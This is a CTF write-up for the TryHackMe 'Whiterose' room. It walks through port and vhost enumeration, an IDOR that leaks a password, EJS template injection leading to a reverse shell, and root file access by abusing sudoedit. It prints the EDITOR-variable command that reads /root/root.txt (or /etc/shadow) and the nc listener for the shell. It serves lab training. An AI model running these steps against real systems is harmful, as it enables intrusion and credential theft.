Post

TryHackMe: Whiterose

TryHackMe: Whiterose

Whiterose was a fun room, easy rooms have either a complex path to root or an easy path, it’s never balanced. Still a great room, was essentially good for researching skills because you need more than a simple google search with a copy and paste, it makes you have to dig deeper and spend some time learning what and how to do things.

Room https://tryhackme.com/room/whiterose

Initial Enumeration

Before anything, we are given some initial credentials: Olivia Cortez:olivi8.

Nmap Scan

We start with our nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -T4 -n -sC -sV -Pn -p- --min-rate 1000 --max-retries 3 cyprusbank.thm 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-13 15:30 GMT
Warning: 10.10.71.44 giving up on port because retransmission cap hit (3).
Nmap scan report for cyprusbank.thm (10.10.71.44)
Host is up (0.071s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b9:07:96:0d:c4:b6:0c:d6:22:1a:e4:6c:8e:ac:6f:7d (RSA)
|   256 ba:ff:92:3e:0f:03:7e:da:30:ca:e3:52:8d:47:d9:6c (ECDSA)
|_  256 5d:e4:14:39:ca:06:17:47:93:53:86:de:2b:77:09:7d (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.32 seconds

Web 80

Just http and ssh, so we start enumerating port 80: Web 80

Gobuster Scan

The directory scan wasn’t giving anything, neither was the dns scan, but the vhost scan gave us 1 result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u cyprusbank.thm -t 25 --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://cyprusbank.thm
[+] Method:          GET
[+] Threads:         25
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: admin.cyprusbank.thm Status: 302 [Size: 28] [--> /login]
Progress: 19966 / 19967 (99.99%)
===============================================================
Finished
===============================================================

Admin Vhost

When going to the new virtual host, we get a login page: Web 80 Admin Vhost

We use the login credentials given to us, and we are in: Admin Dashboard

Looking around, we find a messages page that has a parameter for every chat, this means we can try IDOR and grab messages from other chats, which we are able to, and we get a password for a privileged user called Gayle: Admin IDOR

Now on Gayle we can get Tyrell’s phone number: Gayle Dashboard

Shell as web

EJS Injection

And now have access to the settings page, that we didn’t have before as Olivia, and inside we see that we are able to update customer’s passwords: Admin Settings

When on Burp Suite, after some trial and error, we get a specific error from the running service: ejs Version

A simple google search gave us 2 exploits, one from Github, and the other from a Blog Post, each with different payloads. After testing both, only one worked for me: ejs Test

1
2
3
4
5
6
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.71.44 - - [13/Mar/2025 16:06:06] "GET / HTTP/1.1" 200 -
10.10.71.44 - - [13/Mar/2025 16:06:07] "GET / HTTP/1.1" 200 -
10.10.71.44 - - [13/Mar/2025 16:06:07] "GET / HTTP/1.1" 200 -

Seeing that at least one works, we could try and get a reverse shell. Most payloads weren’t working, but busybox worked, and now inside we could read the user flag:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -vlnp 4444     
listening on [any] 4444 ...
connect to [-] from (UNKNOWN) [10.10.71.44] 48286
python3 -c 'import pty;pty.spawn("/bin/bash")'
web@cyprusbank:~/app$ cd 
web@cyprusbank:~$ ls
app  user.txt
web@cyprusbank:~$ cat user.txt
THM{REDACTED}

Enumerating the web user we find something interesting with sudo -l:

1
2
3
4
5
6
7
8
9
web@cyprusbank:~/app$ sudo -l
Matching Defaults entries for web on cyprusbank:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
    XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User web may run the following commands on cyprusbank:
    (root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm

While searching online we are able to find a pdf from Synacktiv explaining how to exploit this sudoedit command. All we have to do is set an editor variable:

1
web@cyprusbank:~/app$ export EDITOR="vim -- /root/root.txt"

I chose to get the root flag instead of getting root. To get root, all we had to do was switch the /root/root.txt to /etc/shadow.

And then just run the command as sudo to get the root flag:

1
web@cyprusbank:~/app$ sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
This post is licensed under CC BY 4.0 by the author.